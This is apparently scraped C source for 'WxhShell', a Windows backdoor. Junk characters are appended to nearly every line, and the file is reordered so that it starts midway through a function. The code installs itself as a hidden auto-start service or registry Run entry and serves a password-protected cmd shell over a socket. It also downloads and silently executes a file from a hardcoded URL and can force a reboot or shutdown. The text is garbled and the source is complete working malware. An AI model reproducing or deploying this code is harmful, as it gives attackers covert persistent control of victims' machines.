    if(Boot(SHUTDOWN)) x{#W84  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B"=w9w]  
    else { X>4qL'b:z  
    closesocket(wsh); qpXsQim$~  
    ExitThread(0); &_ W~d0  
    } b_rHt s  
    break; d@e2+3<  
    } 5><KTya?=  
  // 获取shell mo  
  case 's': { n>\2_$uDI  
    CmdShell(wsh); e]q(fPK  
    closesocket(wsh); l[u=_uaYl  
    ExitThread(0); &^1{x`Qo=  
    break; W~qVZ(G*U  
  } #d;/Me  
  // 退出 tiQeON-Q_  
  case 'x': { EEdU\9DH(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iTIYq0u|#R  
    CloseIt(wsh); Zj5B}[,l\  
    break; s5 ($b  
    } ^g N/5  
  // 离开 t5;)<N`  
  case 'q': { uN+]q qCf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +\)a p  
    closesocket(wsh); <tto8Y j  
    WSACleanup(); %=`wN^3t2  
    exit(1); _(:<l Y aY  
    break; Wf:LYL  
        } v$~$_K  
  } nN5fP<H2x  
  } ,Vfjt=6]}  
kcG_ n  
  // 提示信息 P^[y~I#{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J^y?nE(j  
} )18C(V-x  
  } P "%f8C~r  
XJ e}^k  
  return; C2C 1 @=w  
} `lA_knS  
i !;9A6D  
// shell模块句柄 L L? .E  
int CmdShell(SOCKET sock) "/nbcQ*s*E  
{ d<Dm(   
STARTUPINFO si; =z[$ o9  
ZeroMemory(&si,sizeof(si)); M@+Pq/f:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y49&EQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mx5#K\  
PROCESS_INFORMATION ProcessInfo; 4 (XV)QR  
char cmdline[]="cmd"; >Og|*g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d9up! k  
  return 0; WG*),P?  
} |u]IOw&1  
{5]c \_.  
// 自身启动模式 Ot`znJU@  
int StartFromService(void) "!ks7:}v  
{ M+*K-zt0  
typedef struct .$fSWlM;  
{ 6aLRnH"Ud  
  DWORD ExitStatus; R@){=8%z  
  DWORD PebBaseAddress; =0a z5td  
  DWORD AffinityMask; 25 cJA4  
  DWORD BasePriority; QP/ZD|/ t1  
  ULONG UniqueProcessId; vi28u xc  
  ULONG InheritedFromUniqueProcessId; Y#QXvo%  
}   PROCESS_BASIC_INFORMATION; hn~btu 9h  
pu5%$}dBE  
PROCNTQSIP NtQueryInformationProcess; fN/;BT  
)-0+O=v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i+F*vTM2,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w{ ;Sp?Os  
<4n"LJ9  
  HANDLE             hProcess; zz!jt A  
  PROCESS_BASIC_INFORMATION pbi; y^z c @f  
5mS/,fs@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _xmQGX!|  
  if(NULL == hInst ) return 0; wJD'q\n  
mx#%oJnsi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {1qr6P,"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TB-dV'w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {,u})U2  
,,!P-kK$  
  if (!NtQueryInformationProcess) return 0; p8 Ao{  
U>OAtiq JX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g/_0WW]}  
  if(!hProcess) return 0; *AP"[W  
:t<S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &_u.q/~   
Eh)VT{vp  
  CloseHandle(hProcess); }%z%}V@(&  
\m%c"'[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r<4j;"lQK  
if(hProcess==NULL) return 0; vK[%c A"  
-Lu&bVt<>  
HMODULE hMod; jRd$Vt  
char procName[255]; 9K#3JyW*  
unsigned long cbNeeded; Y SB=n d_  
c#>(8#'.U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %<x! mE x  
hlDB'8  
  CloseHandle(hProcess); ~\8(+qIv%f  
%1:caa@_p  
if(strstr(procName,"services")) return 1; // 以服务启动 /Q3\6DCl  
N'WC!K.e  
  return 0; // 注册表启动 jw9v&/-  
} hl7 z1h  
S1I.l">P  
// 主模块 dJ m9''T')  
int StartWxhshell(LPSTR lpCmdLine) !yxqOT-  
{ {?5iK1|}K  
  SOCKET wsl; 8*@{}O##  
BOOL val=TRUE; vXRY/Zzj1  
  int port=0; :)D7_[i  
  struct sockaddr_in door; /.<v,CR  
&e@)yVLL  
  if(wscfg.ws_autoins) Install(); g27'il  
*<!q@r<d  
port=atoi(lpCmdLine); q :TNf\/o  
,!b<SQ5M  
if(port<=0) port=wscfg.ws_port; *=2W:,$  
J (?qk  
  WSADATA data; -PAEJn5$O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3,Yr%`/5'  
1*Pxndt&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m;]wKd"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UJSIbb5  
  door.sin_family = AF_INET; U]~@_j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); - ~|Gwr"  
  door.sin_port = htons(port); SXZ9+<\  
T1 $E][@Iv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e5>'H!)  
closesocket(wsl); 8zD>t~N2C  
return 1; {]<c6*gQ  
} $VvgzjrH  
Ly+UY.v"  
  if(listen(wsl,2) == INVALID_SOCKET) { o #e8 Piw  
closesocket(wsl); {9U!0h-2"  
return 1; mGj)Zrx>  
} n jWe^  
  Wxhshell(wsl); q\?s<l63  
  WSACleanup(); {h7 vJ^  
:xPo*#[Z(A  
return 0; GDL/5m#  
vKG\8+  
} ]=q auf>3  
{fzX2qMZ]  
// 以NT服务方式启动 heCM+ =#~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lD0-S0i  
{ 1+; bd'Ie  
DWORD   status = 0; 1@}F8&EZ  
  DWORD   specificError = 0xfffffff; 7Ed0BJTa  
Qh1pX}X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {Ya$Q#l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T>& q8'lD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9:USxFM  
  serviceStatus.dwWin32ExitCode     = 0; J[ Gpd  
  serviceStatus.dwServiceSpecificExitCode = 0; z4:!*:.Asu  
  serviceStatus.dwCheckPoint       = 0; JY#vq'dl|  
  serviceStatus.dwWaitHint       = 0; G&g;ROgY  
A*y4<'}<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *OG<+#*\_?  
  if (hServiceStatusHandle==0) return; NZvgkci_(u  
yxt"vm;  
status = GetLastError(); j ~-N2b6z  
  if (status!=NO_ERROR) L3, /7  
{ #Q8_:dPY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -qIi.]/f"9  
    serviceStatus.dwCheckPoint       = 0; `MOw\Z)..  
    serviceStatus.dwWaitHint       = 0; XjGS.&'I  
    serviceStatus.dwWin32ExitCode     = status; =OH X5:Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; %} `` :  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \)~d,M}kK  
    return; ZbYC3_7w  
  } vhfjZ  
/4an@5.\C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H -Mb:4  
  serviceStatus.dwCheckPoint       = 0; P8z%*/ 3NF  
  serviceStatus.dwWaitHint       = 0; |U|>YA1[b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8Sr'  
} q5(t2nNb  
kW/G=_6  
// 处理NT服务事件,比如:启动、停止 y8k8Hd1<f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G"<#tif9K  
{ h3?>jE=H  
switch(fdwControl) >@2<^&K`  
{ k H.dtg_  
case SERVICE_CONTROL_STOP: -l= 4{^pK  
  serviceStatus.dwWin32ExitCode = 0; ~Gu$E qQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ul}RT xJ  
  serviceStatus.dwCheckPoint   = 0; 7iP+!e}$.  
  serviceStatus.dwWaitHint     = 0; FiUQ2w4  
  { Z2g'&,uc#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tMxd e+ $y  
  } nI*.(+h  
  return; k*$WAOJEW  
case SERVICE_CONTROL_PAUSE: !D??Y^6bI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ` B)@  
  break; xb;{<~`71  
case SERVICE_CONTROL_CONTINUE: u} ot-!}Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TjUwe@&Rw  
  break; N:lfKI  
case SERVICE_CONTROL_INTERROGATE: B>53+GyMV  
  break; W@d&X+7e  
}; l f>/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %(YQ)=w  
} Q~,Mzt"}W  
5BVvT `<  
// 标准应用程序主函数 PgkU~68`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X)b$CG  
{ nTy]sPn  
IoDT  
// 获取操作系统版本 >#]A2,  
OsIsNt=GetOsVer(); [HILK `@@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |}=eY?iXo  
&A0OYV3i.  
  // 从命令行安装 q'mh*  
  if(strpbrk(lpCmdLine,"iI")) Install(); e*:K79 y  
qf? "v;  
  // 下载执行文件 ^ij0<*ca9  
if(wscfg.ws_downexe) { ER"69zQg|2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,Z{\YAh1  
  WinExec(wscfg.ws_filenam,SW_HIDE); }3#\vn0gT  
} (D>_O$o  
+z;*r8d<X  
if(!OsIsNt) { rB[J*5v  
// 如果时win9x,隐藏进程并且设置为注册表启动 7e"}ojt$  
HideProc(); N~)-\T:ap  
StartWxhshell(lpCmdLine); JS/'0.  
} @v)Z>xv  
else H*W>v[>  
  if(StartFromService()) !ho^:}m  
  // 以服务方式启动 xC)bW,%  
  StartServiceCtrlDispatcher(DispatchTable); (:l6R9'=  
else $_.t'8F  
  // 普通方式启动 h@%Xy(/m'  
  StartWxhshell(lpCmdLine); $)M3fZ$#  
[q9B" @X  
return 0; aXe&c^AR  
} hr vTFJ  
&N} "4  
KIF9[/P  
:60v bO  
=========================================== u&zY>'}zm  
 [Sm<X  
('&lAn  
;<+efYmyc  
@|Pm%K`1  
'cO8& |  
" `D+zX  
i~u4v3r=  
#include <stdio.h> #T)Gkc"{  
#include <string.h> u]*7",R uU  
#include <windows.h> ^6W}ZLp  
#include <winsock2.h> 7@c!4hmrU  
#include <winsvc.h>  Zmu  
#include <urlmon.h> =R5W KX  
%1#\LRA(  
#pragma comment (lib, "Ws2_32.lib") YmljHQP  
#pragma comment (lib, "urlmon.lib") !u7KgB<=/F  
";/]rwHa)  
#define MAX_USER   100 // 最大客户端连接数 k3Yu"GY^  
#define BUF_SOCK   200 // sock buffer * F!B4go  
#define KEY_BUFF   255 // 输入 buffer k{vj,#  
U%vTmdOY  
#define REBOOT     0   // 重启 r5j$FwY  
#define SHUTDOWN   1   // 关机 v47' dC  
*BKD5EwS  
#define DEF_PORT   5000 // 监听端口 4?pb!@l  
t'_EcYNS  
#define REG_LEN     16   // 注册表键长度 D,IT>^[^7  
#define SVC_LEN     80   // NT服务名长度 8^_:9&)i  
I_1?J* b4k  
// 从dll定义API Pt"K+]Ym  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P>_O :xD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $ #=d@Nw_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u7e$Mq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SQ) BS/8A  
ZA=J`- >k  
// wxhshell配置信息 67EGkW?hbt  
struct WSCFG { =1[_#Moc6  
  int ws_port;         // 监听端口 C^q|(G)  
  char ws_passstr[REG_LEN]; // 口令 ~gX1n9_n  
  int ws_autoins;       // 安装标记, 1=yes 0=no bd /A0i?C  
  char ws_regname[REG_LEN]; // 注册表键名 A f`Kg-c_(  
  char ws_svcname[REG_LEN]; // 服务名 I[E 6N2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 99OZK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M~zI;:0O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QGNKQ`~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &A s>Y,y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -'c qepC{T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CDJ@Tdp  
;"D}"nL  
}; 'bbw0aB4  
1(;{w +nM  
// default Wxhshell configuration $z!G%PO1%  
struct WSCFG wscfg={DEF_PORT, ";.j[p:gi  
    "xuhuanlingzhe", YI0l&'7  
    1, C2<TR PT  
    "Wxhshell", eX\v;~W*  
    "Wxhshell", ztU"CRa8  
            "WxhShell Service", cK|Uwzif d  
    "Wrsky Windows CmdShell Service", J *LPv9)  
    "Please Input Your Password: ", =*fq5v  
  1, ]2u   
  "http://www.wrsky.com/wxhshell.exe", ; 8[VCU:  
  "Wxhshell.exe" huqtk4u  
    }; h`U-{VIrqi  
^m7y=CJM  
// 消息定义模块 o;c"-^>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ as,AX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W9l ](Ow  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l4DBGZB  
char *msg_ws_ext="\n\rExit."; 'A{zH{  
char *msg_ws_end="\n\rQuit."; x((u  
char *msg_ws_boot="\n\rReboot..."; ";dS~(~  
char *msg_ws_poff="\n\rShutdown..."; DD/B\  
char *msg_ws_down="\n\rSave to "; '-myOM7  
#i~P])%gNP  
char *msg_ws_err="\n\rErr!"; hXFT(J=  
char *msg_ws_ok="\n\rOK!"; _#M4zO7  
Gt{%O>P8t  
char ExeFile[MAX_PATH]; G#Bm">+  
int nUser = 0; io\t>_  
HANDLE handles[MAX_USER]; 7x.j:{2  
int OsIsNt; 4wv0~T$;x  
q-CgX wU  
SERVICE_STATUS       serviceStatus; "~ =O`5V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e 6wevK\  
AxEdQRGk  
// 函数声明 w nBvJb]4l  
int Install(void); j#3IF *"  
int Uninstall(void); u~,hT Y(%  
int DownloadFile(char *sURL, SOCKET wsh); l`#rhuy`  
int Boot(int flag); +PBl3  
void HideProc(void); a`:F07r  
int GetOsVer(void); ){mqo%{SO  
int Wxhshell(SOCKET wsl); "%Ief4  
void TalkWithClient(void *cs); Z;NaIJiL-  
int CmdShell(SOCKET sock); Qn$YI9t  
int StartFromService(void); I] +OYWp  
int StartWxhshell(LPSTR lpCmdLine); i{9.bpp/  
Uo9@Y{<B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D?dS/agA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mS}.?[d"  
HoX={^aG%  
// 数据结构和表定义 6i+AJCkC  
SERVICE_TABLE_ENTRY DispatchTable[] = E3{kH 7_'\  
{ ltrti.&  
{wscfg.ws_svcname, NTServiceMain}, ts@w9|  
{NULL, NULL} >bI\pJ  
}; :RDk{^b)  
Ya~Th)'>q  
// 自我安装 Z6M qcAJ3j  
int Install(void) 3xRn  
{ Ik, N/[  
  char svExeFile[MAX_PATH]; 89KFZ[.}]  
  HKEY key; b%x=7SMXO  
  strcpy(svExeFile,ExeFile); FQ 0 ;%Z  
InRRcn(  
// 如果是win9x系统,修改注册表设为自启动 *T}c{/  
if(!OsIsNt) { Gh6U<;V?*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X%og}Cfi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jq"3xj   
  RegCloseKey(key); I\-M`^@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Wvefq"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =b"{*Heuw  
  RegCloseKey(key); (]?M=?0\  
  return 0; NBBR>3nt  
    } pI.8Ip_r  
  } hW~UJ/$  
} Hj1?c,mo4  
else { 5zZQt +Ip  
"E4CQL'U  
// 如果是NT以上系统,安装为系统服务 MLi aCG;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <EE^ KR96  
if (schSCManager!=0) 4$mtc*tzT  
{ 2dB]Lw@s  
  SC_HANDLE schService = CreateService 8$RiFD ,  
  ( 8df| 9E$  
  schSCManager, GpO*As_2  
  wscfg.ws_svcname, egr"og{  
  wscfg.ws_svcdisp, " &`>+Yw  
  SERVICE_ALL_ACCESS, sV0NDM0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b>#=7;  
  SERVICE_AUTO_START, 6f t6;*,  
  SERVICE_ERROR_NORMAL, 4MzPm~Ct  
  svExeFile, 2 p}I  
  NULL, Brd9"M|d  
  NULL, 9@mvG^  
  NULL, CGb4C(%-7  
  NULL, ZzQLbCV  
  NULL WWOt>C~zV  
  ); cf ^i!X0  
  if (schService!=0) k=d0%} `M(  
  { DvLwX1(l  
  CloseServiceHandle(schService); d.Ccc/1-  
  CloseServiceHandle(schSCManager); mfffOG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H4T~Kv  
  strcat(svExeFile,wscfg.ws_svcname);  n0EW U,1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (c"!&&S^ =  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x&+&)d  
  RegCloseKey(key); @SaxM4  
  return 0; ?1O` Rd{tn  
    } r1}1lJ>7H  
  } QoxQ"r9Wh  
  CloseServiceHandle(schSCManager); %.'oY%  
} C(z 'oi:f  
} Ro `Xs.X  
})?-)fFD  
return 1; vSv1FZu*  
} N|JM L  
ENZjRf4  
// 自我卸载 /V-uo(n< .  
int Uninstall(void) H7{)"P]{f  
{ 5`Q*  
  HKEY key; &B1j,$NRc  
> 2)@(f~g  
if(!OsIsNt) { k P]'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0R2KI,WI  
  RegDeleteValue(key,wscfg.ws_regname); (*~'#k  
  RegCloseKey(key); B*0TM+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JRti2Mu  
  RegDeleteValue(key,wscfg.ws_regname); onqifQ  
  RegCloseKey(key); s#Os?Q?  
  return 0; dC'8orFG+  
  } k4N_Pa$}\  
} vIq>QXb;d  
} `$PdI4~J  
else { 4d x4hBd  
0tz7^:|D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mafnkQU  
if (schSCManager!=0) ;$nCQ/ /  
{ U/}("i![Dy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e1<9:h+  
  if (schService!=0) h(~@ n d{  
  { Y0z)5),[U:  
  if(DeleteService(schService)!=0) { B4 k5IS  
  CloseServiceHandle(schService); et`1#_o  
  CloseServiceHandle(schSCManager); 4h*c{do  
  return 0; 3<XP/c";  
  } ;B^ 9sr  
  CloseServiceHandle(schService); =I.uf   
  } O*SJx.  
  CloseServiceHandle(schSCManager); V7 OhOLK8  
} "lV bla4b  
} MZrLLnl6\  
QBYY1)6S,  
return 1; gB_gjn\  
} i,h)V Cc  
=L\&} kzB  
// 从指定url下载文件 W-RqooEv  
int DownloadFile(char *sURL, SOCKET wsh) !U7}?i&H  
{ H'"=C&D~  
  HRESULT hr; Od("tLIO}I  
char seps[]= "/"; Mdw"^x$7  
char *token; (VM.]B<  
char *file; r9Vt}]$aG  
char myURL[MAX_PATH]; []-<-TqJ  
char myFILE[MAX_PATH]; Fy*t[>  
^/ff)'.J  
strcpy(myURL,sURL); F05]6NVv  
  token=strtok(myURL,seps); &c^tJ-s  
  while(token!=NULL) !ra,HkU'  
  { g [u*`]-;v  
    file=token; P(b ds  
  token=strtok(NULL,seps); P67*-Ki  
  } bXz*g`=;  
yJ:rry  
GetCurrentDirectory(MAX_PATH,myFILE); !lL~#l:F  
strcat(myFILE, "\\"); }U^iVq*  
strcat(myFILE, file); 6{w'q&LYcE  
  send(wsh,myFILE,strlen(myFILE),0); I.gF38Mx  
send(wsh,"...",3,0); i'B$Xr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P\y ZcL  
  if(hr==S_OK) 5FVmk5z]d  
return 0; rMoz+{1A  
else #~o<9O  
return 1; U UhlKV|5  
A6 I^`0/  
} {wl7&25  
Jz]OWb *  
// 系统电源模块 F@KtRUxE  
int Boot(int flag) R].xT-1  
{ Y 8-;eqH  
  HANDLE hToken; 9+b){W  
  TOKEN_PRIVILEGES tkp; RNopx3  
R_=fH\c;  
  if(OsIsNt) { (+nnX7V?I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZkBWVZb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GF36G?iEi  
    tkp.PrivilegeCount = 1; iX6*OEl/Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sVH w\_F$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fRwr}n'  
if(flag==REBOOT) { F9>"1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `NQ;|!  
  return 0; wkY$J\J  
} hG}gKs  
else { ,uD}1 G<u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NOFH  
  return 0; tlYB'8bJY  
} j>5X^Jd  
  } SB:z[kfz|  
  else { BO+t o.  
if(flag==REBOOT) { /2cn`dR,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4YXp,U  
  return 0; 7HJH9@8V  
} v <m=g!  
else { TpYdIt9#>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \1eWI  
  return 0; 4O4}C#6(4  
} +E+I.}sOB  
} \SBAk h  
uM[[skc  
return 1; ItE)h[86  
} g(R!M0hdF  
u}7r\MnwK,  
// win9x进程隐藏模块 M (:_(4~  
void HideProc(void) <!-#]6  
{ +D?Re%HI  
-h2 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PI)uBA;  
  if ( hKernel != NULL ) 0L \vi  
  { _@Y17L.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }7i}dyQv}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,]4.|A_[Rq  
    FreeLibrary(hKernel); 5IP@_GV|  
  } DCgiTT\  
6W'2w?qj?4  
return; \r}*<CRr6  
} CYNpbv  
zTze %  
// 获取操作系统版本 OKCX>'j:S  
int GetOsVer(void) 84gj%tw'-  
{ mZ.E;X& ,*  
  OSVERSIONINFO winfo; c#pVN](?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CM+wkU ?,  
  GetVersionEx(&winfo); X6oY-4O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y9Q"3LLic`  
  return 1; u"zQh|  
  else e0<L^|S  
  return 0; L\^H#:?t  
} eS"sd^;R  
(<#Ns W!z  
// 客户端句柄模块 pl.=u0 *  
int Wxhshell(SOCKET wsl) }q~xr3#  
{ wqp(E+&  
  SOCKET wsh; ?Tk4Vt  
  struct sockaddr_in client; \8S HX  
  DWORD myID; #e;\Eap  
l7GLN1#m  
  while(nUser<MAX_USER) :=%`\\  
{ umc\x"i%  
  int nSize=sizeof(client); :6Sb3w5h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bq` 0$c%hN  
  if(wsh==INVALID_SOCKET) return 1; _:9-x;0H2  
\J^|H@;(@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PRF^<%mkI  
if(handles[nUser]==0) f5QJj<@  
  closesocket(wsh); {~:F1J~=  
else ;hp?wb  
  nUser++; @T+pQ)0{{  
  } (#k2S-5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  W,)qE^+  
#&c}i n"!  
  return 0; s&*s9F  
} T1r^.;I:  
79Vp^GG7  
// 关闭 socket gL;tyf1P  
void CloseIt(SOCKET wsh) G!IJ#|D:~  
{ !U !}*clYL  
closesocket(wsh); EJ3R{^  
nUser--; dq ~=P>  
ExitThread(0); e#$ZOK)`  
} B%Sp mx8  
VR9C< tMSi  
// 客户端请求句柄 *QpKeI  
void TalkWithClient(void *cs) M0zlB{eH  
{ <U]#722  
Wc)f:]7  
  SOCKET wsh=(SOCKET)cs; i bwnK?ZA  
  char pwd[SVC_LEN]; 1JoRP~mMxa  
  char cmd[KEY_BUFF];  =j1rw  
char chr[1]; AyMMr_q  
int i,j; 4!dN^;Cb  
GlVD!0  
  while (nUser < MAX_USER) { fw1g;;E  
L_YVe(dT  
if(wscfg.ws_passstr) { >K9uwUi|b]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8y{<M"v+/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZrFC#wJb  
  //ZeroMemory(pwd,KEY_BUFF); Y?z@)cL  
      i=0; 3J{`]v5`  
  while(i<SVC_LEN) { 217KJ~)'  
f9g#pyH4  
  // 设置超时 dviL5Eaj  
  fd_set FdRead; b!ZXQn3X<  
  struct timeval TimeOut; j9za)G-J  
  FD_ZERO(&FdRead); /0mbG!Ac  
  FD_SET(wsh,&FdRead); M"]~}*  
  TimeOut.tv_sec=8; \@4_l?M  
  TimeOut.tv_usec=0; D/Y.'P:j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %Y` @>P'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $Rsf`*0-  
qlSc[nEk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J..>ApX  
  pwd=chr[0]; +?~'K&@  
  if(chr[0]==0xd || chr[0]==0xa) { cRX0i;zag  
  pwd=0; v3+ \A q   
  break; P.RlozF5;  
  } vvLm9Tw  
  i++; _Va!Ky =]  
    } *Ri?mEv hF  
92GO.xAD?  
  // 如果是非法用户,关闭 socket OCF\*Sx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); elZ?>5P$}  
} A:EF#2) g  
ZgLO[Bj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A}sb 2P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J56+eC(  
n< [np;\  
while(1) { 0CxQ@~ttl  
W 0Q-&4  
  ZeroMemory(cmd,KEY_BUFF); WJZW5 Xt  
Mu18s}  
      // 自动支持客户端 telnet标准   d+%1q  
  j=0; bh?Vufd%)  
  while(j<KEY_BUFF) { vfJ}t#%UH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jN V2o  
  cmd[j]=chr[0]; ~!'%m(g  
  if(chr[0]==0xa || chr[0]==0xd) { =eSG7QfS  
  cmd[j]=0; PEoO s  
  break; I~MBR2$9  
  }  FZnkQ  
  j++; xmTa$tR+  
    } ,qpn4`zE~  
Lm9y!>1"O  
  // 下载文件 S)z jfJR  
  if(strstr(cmd,"http://")) { ` &|Rs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vf*!m~]Vqi  
  if(DownloadFile(cmd,wsh)) Y*3qH]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1^R@X  
  else } O9q$-8!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PX[taDN  
  } UMo=bs  
  else { x'; 6  
